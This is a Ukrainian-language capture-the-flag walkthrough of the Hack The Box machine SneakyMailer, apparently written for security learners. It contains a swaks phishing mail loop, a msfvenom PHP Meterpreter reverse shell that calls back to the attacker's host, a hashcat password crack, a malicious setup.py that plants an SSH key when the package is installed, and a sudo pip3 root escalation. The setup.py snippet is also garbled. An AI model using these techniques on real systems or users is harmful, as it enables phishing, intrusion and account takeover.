8. Hack The Box. Level Medium: Проходження SneakyMailer. Фішингове розсилання, LPE через PyPI і GTFOBins pip3

11.12.2024 2 хвилин Автор: Lady Liberty

У цій статті розглядається детальний процес проходження завдання SneakyMailer на платформі Hack The Box. Ви дізнаєтеся, як отримати список електронних адрес, здійснити фішингову розсилку, розмістити PHP-шел через FTP, виконати довільний код за допомогою PyPI та підвищити привілеї через GTFOBins pip3.

Покроковий гайд проходження SneakyMailer

Стаття демонструє процес отримання списку електронних адрес, виконання розсилки фішингових листів, розміщення PHP шелу через FTP, виконання довільного коду за допомогою PyPI та підвищення привілеїв через GTFOBins pip3.

Recon

Ця машина має IP адресу 10.10.10.197, яку додаємо в /etc/hosts.

10.10.10.197 	sneakymailer.htb

Спочатку виконується сканування відкритих портів.

#!/bin/bash
ports=$(nmap -p- --min-rate=500 $1 | grep ^[0-9] | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//)
nmap -p$ports -A $1

В результаті сканування виявлено велику кількість відкритих портів, серед яких частина відповідає за поштові служби, порти 80 і 8080 належать до веб-сервера, а також активні служби FTP і SSH, для доступу до яких потрібні облікові дані. Веб-сервер, як видно зі сканування, перенаправляє на інший домен. Для подальшої роботи додаємо цей домен до файлу /etc/hosts.
10.10.10.197    sneakycorp.htb

На сайті можна знайти список співробітників та відповідні email’и.

Для отримання всіх адрес електронної пошти використовуємо email extractor.

Тепер відкриваємо  80 портів і здійснюємо багатоадресну розсилку фішингових листів, використовуючи інструмент swaks.

while read mail; do swaks --to $mail --from [email protected] --header 'Subject: News' --body 'Look it: http://10.10.14.114/' --server sneakymailer.htb | grep 'To:' ; done < emails.txt

І бачимо, що якийсь користувач переходить за нашим посиланням.

Давайте декодуємо дані.

Отримуємо пароль, за допомогою якого ми можемо авторизуватись на поштовому сервері.

Entry point

Як клієнт використовуємо Evolution.

Вводимо пароль при підключенні та бачимо два листи.

В одному з листів виявлено пароль для облікового запису розробника (придатний для доступу до FTP) та згадку про PyPI, пов’язану з користувачем low.

Зайшовши на FTP та отримавши деякі файли, помічаємо, що це вихідні коди сайту.

Додамо піддомен dev у /etc/hosts.

10.10.10.197    dev.sneakycorp.htb

Отримані дані дозволяють розмістити PHP шелл на сервері. Для цього використовуємо завантаження. У даному випадку було обрано Meterpreter як навантаження.

msfvenom -p php/meterpreter_reverse_tcp LHOST=10.10.14.114 LPORT=4321 -f raw > r.php
cat r.php | xclip -selection clipboard && echo '<?php ' | tr -d '\n' > r.php && xclip -selection clipboard -o >> r.php

Після розміщення файлу в директорію dev запустимо листонер.

handler -p php/meterpreter_reverse_tcp -H 10.10.14.114 -P 4321

Після звернення до нашого файлу отримуємо активну сесію.

USER

Оглянувши оточення веб-сервера, виявляємо піддомен pypi, який вже згадувався у контексті цієї лабораторії, та знаходимо файл .htpasswd.
hashcat --example | grep '$apr1' -A2 -B2

hashcat -m 1600 -a 0 pypi.hash ./tools/rockyou.txt

Знайдений піддомен також додамо /etc/hosts.

10.10.10.197    pypi.sneakycorp.htb

Встановлення свого пакета дає можливість виконання довільного коду. Ось гарна інструкція зі створення python пакета. Насамперед створимо директорію.

Тепер необхідно створити такі файли: init.py, .pypirc, README.md, setup.cfg і setup.py. У файлі setup.py буде розміщено виконуваний код. Приклад коду для файлу setup.py, який записує SSH-ключ користувачу low.

from setuptools import setup 
try: 
       f = open('/home/low/.ssh/authorized_keys', 'a') 
f.write('ssh-rsa ... ') 
       f.close() 
except: 
       setup( 
   name='ralfpack', 
   packages=['ralfpack'], 
   description='R', 
   version='0.1', 
   url='http://pypi.sneakymailer.htb:8080/ralfpack', 
   author='ralf', 
   author_email='[email protected]', 
   keywords=['pip','ralfpack','example'] )

Створюємо __init__.py (щоб був), порожній README.md та setup.cfg (у ньому вказуємо README.md).

І залишилося зробити файл .pypirc. Задаємо назву пакета та конфігурації для нього.

Завантажуємо всі файли на хост.

Отримаємо нормальну оболонку та зберемо наш пакет.

python3 -c 'import pty;pty.spawn("/bin/bash")'
python3 setup.py sdist

Тепер завантажимо його.

python3 setup.py sdist upload -r ralfpack

Ключ успішно завантажено, і тепер можна підключатися до SSH, використовуючи приватний ключ для доступу до облікового запису користувача low.

ROOT

З аналізу налаштувань sudo виявлено, що команда pip3 може виконуватись з правами root. Це відкриває можливість для підвищення привілеїв через експлуатацію функціоналу pip3.

Звертаємось до GTFOBins і бачимо інструкцію отримання шелла.

Повторюємо та отримуємо шелл від імені root.

Висновок

У цій статті описано проходження завдання SneakyMailer на Hack The Box із використанням сучасних технік кібербезпеки. Демонструємо, як через аналіз мережевих портів, фішингову розсилку, розміщення PHP шелу та роботу з PyPI можна досягти доступу до облікових записів і підвищити привілеї. Завершальним етапом стає використання можливостей sudo для виконання pip3 з правами адміністратора, що відкриває шлях до повного контролю над системою. Стаття є корисною для розуміння практичних аспектів інформаційної безпеки.

Підписатися
Сповістити про
0 Коментарі
Найстаріші
Найновіше Найбільше голосів
Знайшли помилку?
Якщо ви знайшли помилку, зробіть скріншот і надішліть його боту.